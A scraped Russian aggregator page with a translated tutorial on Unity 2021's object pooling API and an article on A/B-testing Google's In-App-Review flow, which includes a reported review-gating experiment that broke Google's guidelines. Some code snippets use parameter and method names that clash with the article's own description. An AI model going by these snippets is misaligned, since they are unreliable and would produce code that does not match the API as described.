Эти новые пулы объектов напрямую интегрированы в движок Unity. Не требуется никаких дополнительных загрузок, и они поддерживается в актуальном состоянии при каждом обновлении Unity.

Огромный плюс у вас есть доступ к их исходному коду.

И я должен отметить, что их реализации довольно просты. Это приятное вечернее чтиво.

Давайте посмотрим, как вы можете начать использовать Unity Pooling API прямо сегодня, чтобы снизить затраты на операции, о которых и вы, и я прекрасно знаем.

Как использовать новый Object Pooling API в Unity 2021

Первый шаг убедиться, что вы используете Unity 2021+.

(Я имею в виду, вы можете просто скопировать и вставить код в любой из ваших старых проектов... но эй, я этого не говорил, если что)

После этого, это просто вопрос знания Unity Pooling API:

  • Операции пулинга

  • Различные контейнеры пулов

Я уже рассказывал вам несколько спойлеров о пулах. Но теперь давайте углубимся в них.

(СМОТРИТЕ ВИДЕО В ОРИГИНАЛЕ СТАТЬИ)

1. Построение вашего пула

Первая операция, которую вам нужно сделать, это построить контейнер для пула по вашему выбору. Обычно это делается в одну строчку кода, так что здесь не беспокойтесь.

Параметры конструктора зависят от конкретного контейнера, который вы хотите использовать, но они очень похожи. Вот обычные параметры конструктора пула Unity:

createFunc

Вызывается для создания нового экземпляра вашего объекта, например () => new GameObject(Bullet) or () => new Vector3(0,0,0)

actionOnGet

Вызывается, когда вы берете экземпляр из пула, например, для активации игрового объекта.

actionOnRelease

Вызывается, когда вы возвращаете экземпляр в пул, например, чтобы очистить и деактивировать экземпляр.

actionOnDestroy

Вызывается, когда пул уничтожает этот элемент, то есть когда он не помещается (превышает максимальный размер) или пул уничтожается.

collectionCheck

True, если вы хотите, чтобы Unity проверяла, что этот элемент еще не был в пуле, когда вы пытаетесь его вернуть (только в редакторе).

defaultCapacity

Размер пула по умолчанию: начальный размер стека/списка, который будет содержать ваши элементы.

maxSize

Размер пула: максимальное количество свободных элементов, которые находятся в пуле в любой момент времени. Если вы вернете предмет в заполненный пул, он будет уничтожен.

Вот как вы можете создать пул GameObjects:

_pool = new ObjectPool<GameObject>(createFunc: () => new GameObject("PooledObject"), actionOnGet: (obj) => obj.SetActive(true), actionOnRelease: (obj) => obj.SetActive(false), actionOnDestroy: (obj) => Destroy(obj), collectionChecks: false, defaultCapacity: 10, maxPoolSize: 10);

Я оставил названия параметров для наглядности; не стесняйтесь пропускать их в вашем коде.

И, конечно же, это всего лишь пример с GameObject. Вы можете использовать его с любым типом, с которым захотите.

Хорошо, теперь у вас есть пул _GameObject_ов.

Как нам им пользоваться?

2. Создание элементов пула

Первое, что Unity нужно знать, это как создавать больше ваших _GameObject_ов, когда вы запрашиваете больше, чем доступно.

Мы уже указали это в конструкторе, поскольку передали функцию createFunc в качестве первого параметра конструктору пула.

Каждый раз, когда вы захотите взять GameObject из пустого пула, Unity создаст его для вас и отдаст вам.

И для его создания он будет использовать переданную вами функцию createFunc.

А как нам взять GameObject из пула?

3. Извлечение элемента из пула

Теперь, когда ссылка на пул хранится в _pool, вы можете вызвать его функцию Get:

GameObject myGameObject = _pool.Get();

Вот и все.

Теперь вы можете использовать объект по своему усмотрению (в определенных рамках).

Когда вы закончите с ним, вам нужно вернуть его обратно в свой пул, чтобы вы могли использовать его позже.

4. Возврат элемента в пул

Итак, вы использовали свой элемент несколько минут, и теперь он вам больше не нужен. Что дальше?

Вот чего вы сейчас не делаете: вы не уничтожаете (destroy/dispose) его сами. Вместо этого вы возвращаете его в пул, чтобы пул мог правильно управлять своим жизненным циклом в соответствии с предоставленными вами функциями.

Как это сделать? Легко:

_pool.Return(myObject);

Тогда пул:

  1. Вызовет функцию actionOnRelease, которую вы предоставили с этим элементом качестве аргумента, чтобы деактивировать его, остановить систему частиц и т.д. ...

  2. Проверит, есть ли достаточно места в своем внутреннем списке/стеке на основе MaxSize

  3. Если есть достаточно свободного пространство в контейнере, он поместит туда объект.

  4. Если свободного места нет, то он уничтожит объект, вызвав actionOnDestroy.

Вот и все.

А теперь об уничтожении элементов.

5. Уничтожение элемента из вашего пула

Всякий раз, когда вы утилизируете (dispose) свой пул, или в нем нет внутреннего пространства для хранения возвращаемых вами элементов, пул уничтожает эти элементы.

И делает это он, вызывая функцию actionOnDestroy, которую вы передали в его конструкторе.

Эта функция может быть совершенно пустой или вызывать Destroy(myObject), если мы говорим об объектах, управляемых Unity.

И, наконец, когда вы закончите работу с пулом, вы должны его утилизировать.

6. Очистка и утилизация вашего пула

Утилизация вашего пула это высвобождение ресурсов, принадлежащих пулу. Часто внутри вашего пула есть стек или список, содержащий элементы, которые можно свободно из него брать. Что ж, вы избавляетесь от своего пула, вызывая:

_pool.Dispose();

Вот это собственно и есть вся функциональность пула. Но нам все еще не хватает одного важного момента.

Не все пулы созданы для одних и тех же юзкейсов

Давайте посмотрим, какие типы пулов предлагает Unity, чтобы удовлетворить ваши потребности.

Типы пулов в Unity 2021+

LinkedPool и ObjectPool

Первая группа пулов это те, которые охватывают обычные объекты C# (95%+ элементов, которые вы, возможно, захотите поместить в пул).

Типичным вариантом использования пулов этого типа являются игровые объекты независимо от того, созданы они из префабов или нет.

Разница между LinkedPool и ObjectPool заключается во внутренней структуре данных, которую Unity использует для хранения элементов, которые вы хотите поместить в пул.

ObjectPool просто использует Stack C#, который использует массив C# под капотом:

private T[] _array;

Будучи стеком, он содержит большой кусок непрерывной памяти.

Наихудший случай наличие 0 элементов (длина = 0) в большом пуле (емкость = 100000). Там у вас будет большой кусок зарезервированной памяти, который вы не используете.

Изменение размера стека происходит, когда вы превышаете его емкость. И это дорого, так как вам нужно выделить больший кусок и скопировать элементы.

Подсказка: вы можете избежать изменения размера стека, играя с параметром конструктора maxCapacity.

LinkedPool использует связанный список, который может улучшить управление памятью в зависимости от вашего юзкейса. Вот как выглядит эта структура данных:

internal class LinkedPoolItem { internal LinkedPool<T>.LinkedPoolItem poolNext; internal T value; }

Используя LinkedPool, вы используете память только для элементов, которые фактически хранятся в пуле.

Но это требует дополнительных затрат: вы тратите больше памяти на элемент и больше тактов процессора для управления этой структурой данных. В любом случае вы, вероятно, знаете разницу между массивами и связанными списками.

Итак, давайте поговорим о следующей категории классов пулов в Unity.

ListPool, DictionaryPool, HashSetPool, CollectionPool

Теперь мы поговорим о пулах коллекций C# в Unity.

Видите ли, при разработке игр вам, скорее всего, придется использовать списки, словари, хеш-множества и коллекции.

И достаточно часто вам нужно часто создавать/уничтожать эти коллекции.

Мы часто делаем это в структурах ИИ при выполнении определенных одноразовых действий или алгоритмов. Там нам часто требуются вспомогательные структуры данных для выполнения поиска, оценки и скоринга.

Вот в чем собственно дело.

Каждый раз, когда вы создаете и уничтожаете коллекции, вы оказываете давление на систему управления памятью. Это потому, что вы:

  • Аллоцируете и высвобождаете коллекцию плюс ее внутренние структуры данных.

  • Вы можете динамически изменять размер своих коллекций.

Таким образом, решение, которое помогает с некоторыми из этих рантайм аллокаций в Unity, - это пулинг коллекций.

Когда вам понадобится список, вы можете просто взять его из пула, использовать и вернуть, когда закончите.

Вот пример:

var manuallyReleasedPooledList = ListPool<Vector2>.Get();manuallyReleasedPooledList.Add(Random.insideUnitCircle);// Use your pool// ...ListPool<Vector2>.Release(manuallyReleasedPooledList);

А вот другая конструкция, которая освобождает для вас пул коллекций:

using (var pooledObject = ListPool<Vector2>.Get(out List<Vector2> automaticallyReleasedPooledList)){   automaticallyReleasedPooledList.Add(Random.insideUnitCircle);   // Use your pool   // ...}

Каждый раз, когда вы выходите за пределы этого using блока, Unity будет возвращать список в пул за вас.

CollectionPool - это базовый класс для этих конкретных коллекций; поэтому, если вы создаете свои собственные коллекции, вы можете создать для них пул, унаследовав от него.

ListPool, DictionaryPool и HashSetPool - это особые пулы для соответствующих типов коллекций.

Но вы должны быть осторожны с этими пулами для коллекций. Я говорю это, потому что внутри все эти пулы коллекций в Unity работают на основе статической переменной пула. Это означает вот что.

Использование этих пулов коллекций нарушит функцию, которая сокращает время итерации в редакторе: отключение перезагрузки домена. Если вы необдуманно используете такие статические пулы, объединенные элементы будут сохраняться на протяжении выполнений в редакторе. И это не очень весело.

Наконец, давайте посмотрим на других плохишей: GenericPool и его близнеца UnsafeGenericPool.

Они, как и описывают их названия, являются пулами общих объектов. Но в них есть кое-что особенное.

GenericPool и UnsafeGenericPool

Итак, что такого особенного с этими пулами объектов?

Опять же, GenericPool и UnsafeGenericPool являются пулами статических объектов. Таким образом, их использование не позволит вам отключить перезагрузку домена, чтобы сократить время итерации редактора.

С другой стороны, вам не нужно беспокоиться о создании их для любого из ваших юзкейсов.

Вы просто используете их, когда и где бы (и кем бы) вы ни находились.

var pooledGameObject = GenericPool<GameObject>.Get(); pooledGameObject.transform.position = Vector3.one; GenericPool<GameObject>.Release(pooledGameObject);

Вот так просто.

Вариант UnsafeGenericPool работает лучше за счет пропуска важной проверки: проверки уже возвращенного объекта. Видите ли, когда вы возвращаете объект в пул, возможно, вы уже возвращали его в прошлом (и не вынимали его из пула). Это может быть проще, чем вы думаете, особенно если вы используете статические пулы и одни и те же объекты используются в нескольких местах.

В этом случае элемент может дважды появиться во внутренней структуре данных пула. И угадайте, что происходит, когда вы берете два элемента?

БАБАХ!

Вы будете использовать один и тот же объект в двух разных местах, и естественно будете перезаписывать изменения в нем. Представьте, что вы использовали один и тот же игровой объект для двух разных игроков.

Подводя итоги различий:

GenericPool использует статический ObjectPool с collectionCheck = true

UnsafeGenericPool использует статический ObjectPool с collectionCheck = false

Хорошо, как вы видели, не все в пулах красиво и аккуратно. Но вотрем еще немного соли в рану.

Проблемы с пулами (почему вы не должны ими злоупотреблять)

Я мог бы написать как минимум 3 статьи, подробно описывающих неприятные проблемы, которые могут возникнуть с пулами.

Но вместо того, чтобы делать это, я просто обозначу их здесь, основываясь на отличном посте Джексона Данстана.

Вот некоторые из проблем, с которыми вы можете столкнуться при использовании пулов:

  1. Вашим объектам требуется явный возврат. Если вы забудете вернуть объект пула, сборщик мусора должен будет выполнить ту работу, которой вы хотели избежать в первую очередь (в лучшем случае).

  2. Вы должны сбросить состояние ваших объектов. Если вы не сбросите состояние своих объектов, старые данные будут попадать в экземпляры, которые вы получаете из пула. Объект больше не будет свежим. Ваши пули могут содержать следы крови.

  3. Если вы используете один и тот же объект из пула в разных местах, вы должны вернуть объект только тогда, когда все его пользователи закончат с ним. Вы не хотите возвращать объект несколько раз, так как это гарантированно вызовет у вас головную боль. Таким образом, вам потребуется какой-то ручной подсчет ссылок, дорогостоящие для процессора проверки или стратегия, чтобы убедиться, что есть только один владелец.

  4. Управление памятью коллекций трудно. Вы можете пулить списки, хэш-множества, словари и тому подобное. Но делать предположения об их размерах сложно. Когда вы получаете список из пула, он может иметь размер 4, в то время как вам действительно нужен список размером 1000+. Вы бы принудительно изменили размер. Бывает и наоборот. Короче говоря, вы можете в конечном итоге потратить много памяти на поддержание жизни огромных коллекций, когда вам нужно всего несколько предметов для них.

  5. По умолчанию пулы не являются потокобезопасными. А если вы добавите механизмы для поддержки потоковой безопасности, тогда вы добавите накладные расходы на процессор, которые могут больше не окупаться.

Хорошая пища для размышлений.

Так, что еще?

Пулы отличные инструменты для снижения:

  • затрат производительности, связанных с распределением ресурсов в игровом процессе;

  • давления, которое вы оказываете на бедный сборщик мусора;

А с Unity 2021+ теперь стало проще, чем когда-либо, принять пул как образ жизни разработчика, поскольку теперь у нас есть встроенное pooling API.

Однако я объяснил темную сторону пулов. Сторона, которая может доставить вам массу боли во время разработки вашего проекта.

Пул это еще один инструмент повышения производительности, который вы должны знать. И чем больше инструментов вы знаете, тем лучше.


Перевод материала подготовлен в рамках курса "Unity Game Developer. Professional". Если вам интересно узнать о курсе подробнее, приглашаем на день открытых дверей: на нем преподаватель расскажет о формате и особенностях обучения, о программе и выпускном проекте.

Подробнее..

In-App-Review. Фильтруем негативные отзывы

15.04.2021 12:10:33 | Автор: admin

Ни для кого не секрет, что,если пользователю не нравится ваше приложениеон с большой вероятностью оставит негативный отзыв.Ноесли его все устраиваетдалеко не факт,чтоонзахочет тратить время, чтобы поставить оценку в маркете.

В результате итоговый рейтингприложенияможет быть намного ниже, чем реальное впечатлениепользователя.

Googleпредложилсвое решениеэтой проблемыупростить сценарий выставления оценки при помощиIn-App-Review.

Мы в Кошельке поставили перед собой задачу увеличить количество положительных оценок приложения, используя новое API. Для этого мы изучили его, интегрировали в свой продукти провели ряд показательных тестов в попыткахнайтилучшее решение.Результаты нас порадовали. Если заинтересовались прошу под кат.

Пара слов об интеграции

Ключевая особенностьIn-App-Reviewзаключается в том, что пользователю не нужно покидать приложениеи переходить в маркет, чтобы оценить его. Все,что ему надо сделать это выбрать нужное количество звезд в появившемся на экране диалоге, ивуаляоценка поставлена, юзер и разработчик счастливы!

В документациипроцесс интеграции описан довольно неплохо. Все делается элементарно, икопипаститьинфу сюда нет смысла. Однако реальность сурова, и даже при интеграции такого, казалось бы, простого API можно столкнуться с некоторыми неприятными моментами:

  1. Диалог с оценкой появляется только на сборке, загруженной изPlayMarket. Не стоит об этом забывать и рвать на себе волосы в попытке понять, почему же диалога нет;

  2. Из первого пункта вытекает вопрос: а как тестировать? Этот вопрос также довольно неплохо описанв доке,к нему мы вернемся чуть позже;

  3. Разработчик никак не может узнать, был диалог показан или нет. APIIn-App-Reviewпредоставляетколбэки, но информации, полученной от них, недостаточно, чтобы понять, увидел ли пользовательрейтинговалку.

Что не так сколбэками?

Для того, чтобы отобразилось окно с выбором оценки, в коде необходимо сделать две операции:

  1. ВызовметодаrequestReviewFlow

    Послевыполнениязапросав случае успехамы получим объектReviewInfo, необходимый для отображения диалога, а в случае неудачи ошибку.

    Почему операция может завершиться неудачно? К примеру, если вашеприложение запущено на устройствеHuaweiбезPlay-сервисов, то получениеобъектаReviewInfoзавершится с ошибкой, и вы сможете в этом случае перенаправить пользователя вAppGallery.

  2. Непосредственно запускрейтинговалки вызовметодаlaunchReviewFlow

    На этот метод также можно навеситьколбэк, но узнать результат запуска диалога не получится. Все, что вы узнаете чтопроцессIn-App-Reviewзавершен. Поставил пользователь оценку или нет, оставил ли он отзыв, увидел ли он вообще соответствующее окно с возможностью оценить приложение тайна, покрытая мраком.

    С этим нам пришлось просто смириться. Перенаправить пользователя вPlayMarket, если он не увидел диалог, или хотя бы собрать соответствующую аналитику,не получится.

И чуть-чуть о тестировании

Как уже было сказано выше, протестировать появление диалога можно лишь на сборке изPlayMarket. Чтобы это сделать,Googleпредлагает два способа:

  1. Internaltesttrack: создаемтестовую версию вPlayConsole, загружаем тудаapk-файл с реализацией API, затем формируемсписок тестировщиков, которым эта версия будет доступна для скачивания. После этого ждем, пока версия будет доступна для скачивания вPlayMarket;

  2. Internalappsharing:это что-то вроде тестового полигона, который позволяет сделать то же самое, что и способ, описанный выше, но при этом пропустить некоторые шаги, которые занимают много времени(тем самым освободив разработчиков и тестировщиков от необходимости дожидаться доступности сборки для скачивания).

Сначала мыиспользовали второй способ. Оноказалсядовольно удобным, нос его помощьюне получилосьотправить отзывкнопкавыставления рейтингав этом случаебыланеактивна.Об этом также сказано в документации. По этой причинемы решили обратить внимание на первый способ.

Отправили сборку вPlayMarketи стали ждать, пока новая версия будет доступна для скачивания. И вот, спустя несколько часов, мы увидели долгожданный диалог:

Note:если в процессе тестирования вы обнаружите, что выполнили необходимые условия, а диалог не появился, дело может быть вQuotas. ВIn-App-Reviewимеютсянекоторые ограниченияна частоту показа диалога и, возможно, ещёне прошло достаточно времени с момента последнего его появления.

Вперед к экспериментам!

Теперь, когда стало ясно, как работаетIn-App-ReviewAPI, и учтены все нюансы, возникают логичные вопросы: что, если пользователь будет раздражен появившимся диалогом и решит поставить неудовлетворительную оценку? Или он ещёне успел достаточно времени провести в приложении, чтобы его оценить?

В обоих случаях,вероятнее всего,пользователь решит поставить не более одной звезды.

Вспомним главную задачу, которую мы перед собой ставили: увеличить количествоположительныхоценок приложения.

Известно, что в подобных ситуациях многие разработчики идут на хитрость:процессвыставления оценки пользователем предваряется собственным диалогом с вопросом, нравится ли ему приложение. Если ответ положительный, юзердопускается к оцениванию продукта.

ДокументацияIn-App-Reviewчеткоговорит о том, что не стоит задавать пользователю вопросов, прямокасающихся его мнения о приложении.

Мы решили провести ряд своих экспериментовв поискахответа на вопрос: Стоит ли спрашивать мнение пользователя перед отображением диалога оценки приложения?.

Стартовая площадка

Перед тем, как мы запустили эксперименты, процесс сбора оценок был таким:

  1. Если пользователь провёлв приложении 14 дней или больше, мы показываем емусобственныйpop-upКошелька.

  2. Если в нашем диалогепользователь поставил оценку 4 или 5, отправляем его вPlayMarket.

В последние месяцы это давало следующие результаты:

Среднее количество оценок в месяц: 8 тыс.;

Среднее количество отзывов в месяц: 2.1 тыс.;

Средняя оценка: 4,54.

Для удобства дальше этот вариант будем называтьcontrol.

Эксперимент #1: с предварительным диалогом

В первом эксперименте мы решили поступить, как все, и злостно нарушили гайдлайныGoogle оставили собственный диалог, в котором предлагали пользователю поставить оценку,и,если он выбрал 4 или 5 звезд, мы запускали процесс оценки с помощьюIn-App-Review.

Назовем этот вариантin-app-review.

Мы выкатили версию приложения с этим методом оценки на 2 месяца, и вот что получилось:

  • Среднее количество оценок в месяц увеличилось на 60% с8000 до 12800;

  • Средняя оценка увеличилась с 4,54 до 4,67;

  • Среднее количество отзывовнемного снизилось было 2100,астало 2000.

Процент пользователей,поставивших5 звезд, увеличился с 80% до 84,9%.

Общее распределение выглядит так:

Этот вариант эксперимента положительно сказался практически на всех метриках. Слегка снизилось количество отзывов, но при этом заметно выросло количество оценок и общий рейтинг приложения.

Вывод: от вариантаcontrolотказываемся в любом случае и проводим следующий эксперимент.

Эксперимент #2: без предварительного диалога

После проведения первого эксперимента мы набрались смелости, чтобы отказаться отфильтра плохих отзывовпоказа собственного диалога, и сразу запускатьIn-App-Review, как того требуют гайдлайны.

Этот вариант назовемonly-in-app-review.

Все ожидали, что количество оценок увеличится, но общий рейтинг значительно снизится. Тем не менее, мы решили рискнуть, ивот что получилось:

  • Количество оценок в месяц выросло на 143% по сравнению с вариантомcontrolи на 52% по сравнению с первым экспериментом;

  • Средняя оценка совсем немного упала по сравнению с первым экспериментом, но все равно осталась выше, чем в контрольном варианте;

  • Количество отзывов практически не изменилось.

Процент пользователей,поставивших5 звезд, выше, чем в контрольном варианте, но немного ниже, чем в предыдущем эксперименте.

Вопреки нашим ожиданиямсредняя оценка в последнем эксперименте практически не упала по сравнению с предыдущим, а если сравнивать с контрольным вариантом, то она даже выросла.

Это было открытием для нас, так как казалось очевидным, что пользователи будутставить куда больше негативных оценок, если дать им возможность сделать это напрямую.

Вместо вывода

Перед проведением данных экспериментовмы были уверены,чтоGoogleнеобоснованно советует воздержаться от показа собственных диалогов пользователю с целью определить, нравится ли тому приложениено результаты показали, что имеет смысл прислушаться к их совету.Вместо того, чтобы хитрить, достаточно подобрать удачный момент для запроса оценкии никакиефильтрыне понадобятся.

Средняя оценка в эксперименте с предварительным показом диалога составила 4.67, без показа 4.63.Количество оценок в первом случаесоставило почти 13 тыс., во втором20 тыс. В итоге в качестве рабочего варианта мы решили выбрать вариантonly-in-app-reviewпо трём основным причинам:

  1. Средние оценки в двух вариантах эксперимента практически не отличаются;

  2. Этот вариант полностью соответствует гайдлайнам, описанным в документации;

  3. Количество оценок значительно увеличилось.

На данный момент мы также берем во внимание, что какое-то из будущих обновлений приложения может оказаться неудачным. Тогда из-за отсутствия предварительного диалога может посыпаться шквал негативных отзывов. Поэтому на такой случай мы оставили возможность заново включить первый вариант эксперимента.

Если что-то такое произойдет, мы обязательно дополним статью, чтобы вы знали, стоит ли сделать собственный диалог хотя бы для подстраховки.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru